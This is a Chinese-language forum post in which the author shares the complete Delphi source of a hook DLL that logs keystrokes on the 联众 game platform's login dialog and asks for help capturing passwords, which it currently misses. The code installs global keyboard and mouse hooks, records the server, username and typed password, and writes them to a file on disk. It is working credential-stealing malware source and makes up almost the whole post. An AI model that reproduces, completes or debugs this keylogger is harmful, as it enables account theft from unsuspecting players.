关于HOOK的一个问题!高手帮帮忙~~~(100分)

  • 主题发起人 主题发起人 losstsky1987
  • 开始时间 开始时间
L

losstsky1987

Unregistered / Unconfirmed
GUEST, unregistred user!
我写了个一个关于联众的键盘记录,服务器,用户名都能记录下来 但就是密码不行 检查没有错误,编译器检查也没错误,我用的是D7的 我把代码帖出来 希望高手解答<br>library HookDLL;<br><br>uses<br> &nbsp;Windows,<br> &nbsp;SysUtils,<br> &nbsp;messages;<br><br>type<br> &nbsp;PMouseHookStruct = ^TMouseHookStruct;<br> &nbsp;{$EXTERNALSYM tagMOUSEHOOKSTRUCT}<br> &nbsp;tagMOUSEHOOKSTRUCT = packed record<br> &nbsp; &nbsp;pt: TPoint;<br> &nbsp; &nbsp;hwnd: HWND;<br> &nbsp; &nbsp;wHitTestCode: UINT;<br> &nbsp; &nbsp;dwExtraInfo: DWORD;<br> &nbsp;end;<br> &nbsp;TMouseHookStruct = tagMOUSEHOOKSTRUCT;<br><br><br>var<br> &nbsp;KeyHook,MouseHook:HHook;<br> &nbsp;loggedkeys:string;<br><br>function GetCaption(hWnd: LongWord): string;<br>var<br> &nbsp;szWindowText: array[0..MAX_PATH] of Char;<br> &nbsp;szTextLength: Integer;<br>begin<br> &nbsp;szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));<br> &nbsp;szWindowText[szTextLength] := #0;<br> &nbsp;Result := szWindowText;<br>end;<br><br>function isbutton:boolean;<br>var windowss:THandle;<br>begin<br>result :=False;<br>windowss:=findwindow('#32770','登录信息');<br>if windowss=0 then exit;<br>result:=true;<br>end;<br><br>Procedure savetext(str:string);<br>Var<br>F:Textfile;<br>Begin<br> &nbsp;Assignfile(F,'C:/Save.txt');<br> &nbsp;if not FileExists('C:/Save.txt') Then<br> &nbsp;begin<br> &nbsp; &nbsp;Rewrite(F);<br> &nbsp; &nbsp;Writeln(F, str);<br> &nbsp; &nbsp;closefile(F);<br> &nbsp;End<br>Else<br>Assignfile(F,'C:/Save.txt');<br>Append(F);<br>Writeln(F, str);<br>Closefile(F);<br>End;<br><br>procedure logthekeys();//最经典的键盘记录处理函数<br>var<br> &nbsp;i : byte;<br>begin<br> &nbsp;for i:=8 To 222 do<br> &nbsp;begin<br> &nbsp;if GetAsyncKeyState(i)=-32767 then<br> &nbsp;begin<br> &nbsp;case i of<br> &nbsp; &nbsp; &nbsp; 8: {loggedkeys := loggedkeys +'[BACKSPACE]'} loggedkeys := copy(loggedkeys, 0, length(loggedkeys) - 1);<br> &nbsp; &nbsp; &nbsp; &nbsp;9 &nbsp;: &nbsp;loggedkeys := loggedkeys + '(TAB)';<br> &nbsp; &nbsp; &nbsp; &nbsp;13 : &nbsp;loggedkeys := loggedkeys + #13#10;<br> &nbsp; &nbsp; &nbsp; &nbsp;17 : &nbsp;loggedkeys := loggedkeys + '(Ctrl)';<br> &nbsp; &nbsp; &nbsp; &nbsp;27 : &nbsp;loggedkeys := loggedkeys + '(ESC)';<br> &nbsp; &nbsp; &nbsp; &nbsp;32 : &nbsp;loggedkeys := loggedkeys + ' ';<br> &nbsp; &nbsp; &nbsp; &nbsp;33 : &nbsp;loggedkeys := loggedkeys + '(Page up)';<br> &nbsp; &nbsp; &nbsp; &nbsp;34 : &nbsp;loggedkeys := loggedkeys + '(Page down)';<br> &nbsp; &nbsp; &nbsp; &nbsp;35 : &nbsp;loggedkeys := loggedkeys + '(End)';<br> &nbsp; &nbsp; &nbsp; &nbsp;36 : &nbsp;loggedkeys := loggedkeys + '(Home)';<br> &nbsp; &nbsp; &nbsp; &nbsp;37 : &nbsp;loggedkeys := loggedkeys + '(Left)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> &nbsp; &nbsp; &nbsp; &nbsp;38 : &nbsp;loggedkeys := loggedkeys + '(Up)';<br> &nbsp; &nbsp; &nbsp; &nbsp;39 : &nbsp;loggedkeys := loggedkeys + '(Right)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> &nbsp; &nbsp; &nbsp; &nbsp;40 : &nbsp;loggedkeys := loggedkeys + '(Down)';<br> &nbsp; &nbsp; &nbsp; &nbsp;44 : &nbsp;loggedkeys := loggedkeys + '(Prnt Scrn)';<br> &nbsp; &nbsp; &nbsp; &nbsp;45 : &nbsp;loggedkeys := loggedkeys + '(Insert)';<br> &nbsp; &nbsp; &nbsp; &nbsp;46 : &nbsp;loggedkeys := loggedkeys + '(Delete)';<br> &nbsp; &nbsp; &nbsp; &nbsp;145 : loggedkeys := loggedkeys + '(Scroll lock)';<br> &nbsp; &nbsp; &nbsp; &nbsp;48 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+')'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'0';<br> &nbsp; &nbsp; &nbsp; &nbsp;49 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'!'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'1';<br> &nbsp; &nbsp; &nbsp; &nbsp;50 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'@'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'2';<br> &nbsp; &nbsp; &nbsp; &nbsp;51 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'#'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'3';<br> &nbsp; &nbsp; &nbsp; &nbsp;52 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'$'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'4';<br> &nbsp; &nbsp; &nbsp; &nbsp;53 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'%'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'5';<br> &nbsp; &nbsp; &nbsp; &nbsp;54 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'^'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'6';<br> &nbsp; &nbsp; &nbsp; &nbsp;55 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'7';<br> &nbsp; &nbsp; &nbsp; &nbsp;56 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'*'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'8';<br> &nbsp; &nbsp; &nbsp; &nbsp;57 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'('<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'9';<br> &nbsp; &nbsp; &nbsp; &nbsp;65..90 :<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((GetKeyState(VK_CAPITAL))=1) then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if GetKeyState(VK_SHIFT)&lt;0 then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;loggedkeys:= loggedkeys+LowerCase(Chr(i))<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;loggedkeys:= loggedkeys+UpperCase(Chr(i))<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if GetKeyState(VK_SHIFT)&lt;0 then loggedkeys := loggedkeys+UpperCase(Chr(i))<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;loggedkeys:= loggedkeys+LowerCase(Chr(i));<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp;96..105 : &nbsp;loggedkeys:= loggedkeys + inttostr(i-96);<br> &nbsp; &nbsp; &nbsp; &nbsp;106: loggedkeys:= loggedkeys+'*';<br> &nbsp; &nbsp; &nbsp; &nbsp;107: loggedkeys:= loggedkeys+'&';<br> &nbsp; &nbsp; &nbsp; &nbsp;109: loggedkeys:= loggedkeys+'-';<br> &nbsp; &nbsp; &nbsp; &nbsp;110: loggedkeys:= loggedkeys+'.';<br> &nbsp; &nbsp; &nbsp; &nbsp;111: loggedkeys:= loggedkeys+'/';<br> &nbsp; &nbsp; &nbsp; &nbsp;144 : &nbsp;loggedkeys:= loggedkeys+'[Num Lock]';<br> &nbsp; &nbsp; &nbsp; &nbsp;112..123:loggedkeys:= loggedkeys+'[F'+IntToStr(i - 111)+']';<br> &nbsp; &nbsp; &nbsp; &nbsp;186 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+':'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+';';<br> &nbsp; &nbsp; &nbsp; &nbsp;187 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'+'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'=';<br> &nbsp; &nbsp; &nbsp; &nbsp;188 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&lt;'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+',';<br> &nbsp; &nbsp; &nbsp; &nbsp;189 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'_'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'-';<br> &nbsp; &nbsp; &nbsp; &nbsp;190 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&gt;'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'.';<br> &nbsp; &nbsp; &nbsp; &nbsp;191 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'?'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'/';<br> &nbsp; &nbsp; &nbsp; &nbsp;192 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'~'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'`';<br> &nbsp; &nbsp; &nbsp; &nbsp;219 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'{'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'[';<br> &nbsp; &nbsp; &nbsp; &nbsp;220 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'|'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'/';<br> &nbsp; &nbsp; &nbsp; &nbsp;221 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'}'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+']';<br> &nbsp; &nbsp; &nbsp; &nbsp;222 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&quot;'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'''';<br>end;<br>end;<br>end;<br>end;<br><br>function getwindow:string;<br>var window,hbutton:THandle;<br>begin<br>result := '';<br>window:=findwindow('#32770','登录信息');<br>if window=0 then exit;<br>hbutton:=findwindowex(window,THandle(nil),'ODComboBox',nil);<br>if hbutton=0 then exit;<br>result:=getcaption(hbutton)<br>end;<br><br>function getname:string;<br>var name,button:THandle;<br>begin<br>result := '';<br>name:=findwindow('#32770','登录信息');<br>if name=0 then exit;<br>button:=GetDlgItem(name,$000003F1);<br>if button=0 then exit;<br>result:=getcaption(button)<br>end;<br><br>function lz:THandle;<br>var window,password_window:thandle;<br>begin<br>result:=0;<br>window:=findwindow('#32770','登录信息');<br>if window=0 then exit;<br>password_window:=GetDlgItem(window,$00000001);<br>if password_window=0 then exit;<br>result:=password_window;<br>end;<br><br>function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>begin &nbsp; {回车} &nbsp; &nbsp; &nbsp; &nbsp;{键盘按键按下消息}<br> &nbsp;if (wParam=13) and (((LParam shr 31)and 1)=0) and (isbutton) then<br> &nbsp;begin<br>savetext('服务器:'+getwindow+#13#10+'用户名'+getname+#13#10+'密码:'+loggedkeys+#13#10);<br>loggedkeys:='';<br> &nbsp;end else<br> &nbsp; begin<br> &nbsp; &nbsp;if (((LParam shr 31)and 1)=0)and (isbutton) then<br> &nbsp; &nbsp; begin<br> &nbsp; &nbsp; &nbsp;logthekeys();<br> &nbsp; &nbsp; end;<br> &nbsp;end;<br> &nbsp;Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);<br>end;<br><br>function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;<br>var<br>buffer:array[0..MAX_PATH] of char;<br>begin {鼠标左键按下消息}<br> &nbsp;if wparam=$0201 then<br> &nbsp;begin<br> &nbsp;SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,255,Integer(@buffer));<br> &nbsp; &nbsp;if pMOUSEHOOKSTRUCT(lparam)^.hwnd=lz &nbsp;then<br> &nbsp; &nbsp;begin<br>savetext('服务器:'+getwindow+#13#10+'用户名'+getname+#13#10+'密码'+loggedkeys+#13#10);<br>loggedkeys:='';<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br> &nbsp;Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);<br>end;<br><br>procedure HookOn;<br>begin<br> &nbsp;KeyHook &nbsp; &nbsp; :=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);<br> &nbsp;MouseHook &nbsp; :=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance,0);<br>end;<br><br>procedure HookOff;<br>begin<br> &nbsp;UnHookWindowsHookEx(KeyHook);<br> &nbsp;UnHookWindowsHookEx(MouseHook);<br>end;<br><br>exports<br> &nbsp;HookOn,HookOff;<br><br> &nbsp;begin<br> &nbsp;end.
 

Similar threads

I
回复
0
查看
762
import
I
I
回复
0
查看
676
import
I
I
回复
0
查看
742
import
I
后退
顶部